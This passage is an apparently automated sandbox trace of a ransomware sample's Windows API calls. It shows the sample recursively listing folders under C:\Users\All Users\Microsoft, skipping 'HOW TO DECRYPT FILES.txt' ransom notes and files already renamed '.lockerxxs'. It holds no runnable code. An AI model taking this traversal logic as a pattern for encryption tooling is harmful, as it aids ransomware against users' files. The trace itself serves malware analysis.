nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x18f7bc, dwReserved1=0x4f0048, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0092.187] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.187] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0092.187] lstrcmpA (lpString1=".", lpString2="MSDN") returned -1 [0092.187] lstrcmpA (lpString1="..", lpString2="MSDN") returned -1 [0092.187] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.187] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="MSDN" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0092.187] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.188] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.188] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.188] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.188] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.188] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0092.188] lstrcmpA (lpString1=".", lpString2="8.0") returned -1 [0092.188] lstrcmpA (lpString1="..", lpString2="8.0") returned -1 [0092.188] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\MSDN\\*.*") returned="*.*" [0092.188] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\", lpString2="8.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" [0092.189] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.189] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.189] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.189] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.189] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.189] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.189] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.189] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0092.190] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.190] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x4e0044, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0092.190] lstrcmpA (lpString1=".", lpString2="NetFramework") returned -1 [0092.190] lstrcmpA (lpString1="..", lpString2="NetFramework") returned -1 [0092.190] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.190] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="NetFramework" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0092.190] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0038, dwReserved1=0x30, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.191] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.191] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.191] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.191] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0092.191] lstrcmpA (lpString1=".", lpString2="BreadcrumbStore") returned -1 [0092.191] lstrcmpA (lpString1="..", lpString2="BreadcrumbStore") returned -1 [0092.191] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\NetFramework\\*.*") returned="*.*" [0092.191] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0092.192] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.192] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.192] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.192] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0092.192] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.193] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004e, dwReserved1=0x460074, cFileName="Network", cAlternateFileName="")) returned 1 [0092.193] lstrcmpA (lpString1=".", lpString2="Network") returned -1 [0092.193] lstrcmpA (lpString1="..", lpString2="Network") returned -1 [0092.193] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.193] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0092.193] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720042, dwReserved1=0x610065, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.194] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.194] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x610000, cFileName="..", cAlternateFileName="")) returned 1 [0092.194] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.194] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.194] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0092.194] lstrcmpA (lpString1=".", lpString2="Connections") returned -1 [0092.194] lstrcmpA (lpString1="..", lpString2="Connections") returned -1 [0092.194] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Network\\*.*") returned="*.*" [0092.194] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0092.194] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.195] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.195] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.195] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.195] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.195] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.195] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.195] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0043, dwReserved1=0x6e006e, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0092.195] lstrcmpA (lpString1=".", lpString2="Downloader") returned -1 [0092.195] lstrcmpA (lpString1="..", lpString2="Downloader") returned -1 [0092.195] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Network\\*.*") returned="*.*" [0092.195] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0092.195] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.196] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.196] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x12dec0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x12dec0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.196] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.196] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.196] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.196] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.209] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName="qmgr0.dat.lockerxxs", cAlternateFileName="")) returned 1 [0092.209] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qmgr0.dat.lockerxxs") returned -1 [0092.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qmgr0.dat.lockerxxs") returned -1 [0092.209] lstrcmpiA (lpString1="", lpString2="qmgr0.dat.lockerxxs") returned -1 [0092.209] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*.*") returned="*.*" [0092.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0092.209] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="" [0092.209] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt" [0092.209] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\how to decrypt files.txt")) returned 0x20 [0092.210] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpString2="qmgr0.dat.lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.lockerxxs" [0092.210] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat.lockerxxs", cAlternateFileName="")) returned 1 [0092.210] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qmgr1.dat.lockerxxs") returned -1 [0092.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qmgr1.dat.lockerxxs") returned -1 [0092.210] lstrcmpiA (lpString1="", lpString2="qmgr1.dat.lockerxxs") returned -1 [0092.210] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.lockerxxs") returned="qmgr0.dat.lockerxxs" [0092.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0092.210] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="" [0092.210] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt" [0092.211] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\how to decrypt files.txt")) returned 0x20 [0092.211] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpString2="qmgr1.dat.lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.lockerxxs" [0092.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat.lockerxxs", cAlternateFileName="")) returned 0 [0092.211] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.211] FindNextFileA (in: 